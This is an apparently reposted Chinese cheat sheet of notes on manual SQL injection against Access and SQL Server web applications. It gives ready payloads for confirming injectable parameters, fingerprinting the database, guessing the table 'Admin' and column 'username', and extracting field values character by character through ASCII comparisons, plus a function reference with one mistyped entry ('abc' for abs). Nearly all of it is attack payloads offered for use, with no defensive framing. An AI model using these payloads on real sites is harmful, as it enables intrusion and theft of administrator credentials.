手工注入笔记

来源:互联网 发布:阿里国际站产品优化 编辑:程序博客网 时间:2024/04/30 00:00

 手工注入笔记:
_________________________________________________________________________________
注入参数类型:
[1]. ID=68
     注入参数为数字型.
     SQL语句原貌: Select * from 表名 where 字段=68
     注入的参数: ID=68 And [查询条件],
     即生成语句: Select * from 表名 where 字段=68 And [查询条件]
[2]. Class=连续剧
     注入参数为字符型.
     SQL语句原貌: Select * from 表名 where 字段='连续剧'
     注入的参数: Class=连续剧 'and [查询条件] and ''=',
     即生成语句: Select * from 表名 where 字段='连续剧' and [查询条件] and ''=''
[3]. keyword=关键字
     SQL语句原貌: Select * from 表名 where 字段like '%关键字%'
     注入的参数: keyword=' and [查询条件] and '%25'=',
     即生成语句: Select * from 表名 where字段like '%' and [查询条件] and '%'='%'
_________________________________________________________________________________
判断注入漏洞:
[1]. 单引号'
[2]. 语句and 1=1
[3]. 语句and 1=2
说明:
若[1]产生错误,[2]返回正常,[3]返回错误则说明存在注入漏洞
_________________________________________________________________________________
判断数据库类型:
[1]. and (select count(*) from sysobjects)>0
[2]. and (select count(*) from msysobjects)>0
说明:
[1]反应正常则是SQL数据库,[1][2]都不正常说明是Access数据库
_________________________________________________________________________________
猜解表名:
[*]. And (Select Count(*) from Admin)>=0
说明:
如果页面返回正常,说明附加条件成立,即表Admin存在. 反之,则表Admin不存在.
_________________________________________________________________________________
猜解字段:
[*]. And (Select Count(username) from Admin)>=0
说明:
如果页面返回正常,说明附加条件成立,即表Admin中字段username存在. 反之,则字段username不存在.
如果是SQLServer的库,我们可以通过提交些特殊字符来得到相关的表名和字段.
_________________________________________________________________________________
猜解字段的值[Ascii逐字解码法]:
[1]. and (select top 1 len(username) from Admin)>0       
[2]. and (select top 1 asc(mid(username,N,1)) from Admin)>0
说明:
[1]用于猜解表Admin中字段username的长度
[2]用于猜解表Admin中字段username的第N位ASCII值
_________________________________________________________________________________
常用SQL注入函数:
[1]. Access: asc(字符)
     SQLServer: unicode(字符)
[2]. Access: chr(数字)
     SQLServer: nchar(数字)
[3]. Access: mid(字符串, N, L)
     SQLServer: substring(字符串,N, L)
[4]. Access: abc(数字)
     SQLServer: abc(数字)
[5]. Access: A between B And C 
     SQLServer: A between B And C
说明:
[1]: 返回某字符的ASCII码
[2]: 与asc相反,根据ASCII码返回字符
[3]: 返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串
[4]: 返回数字的绝对值[在猜解汉字的时候会用到]
[5]: 判断A是否界于B与C之间
_________________________________________________________________________________

原创粉丝点击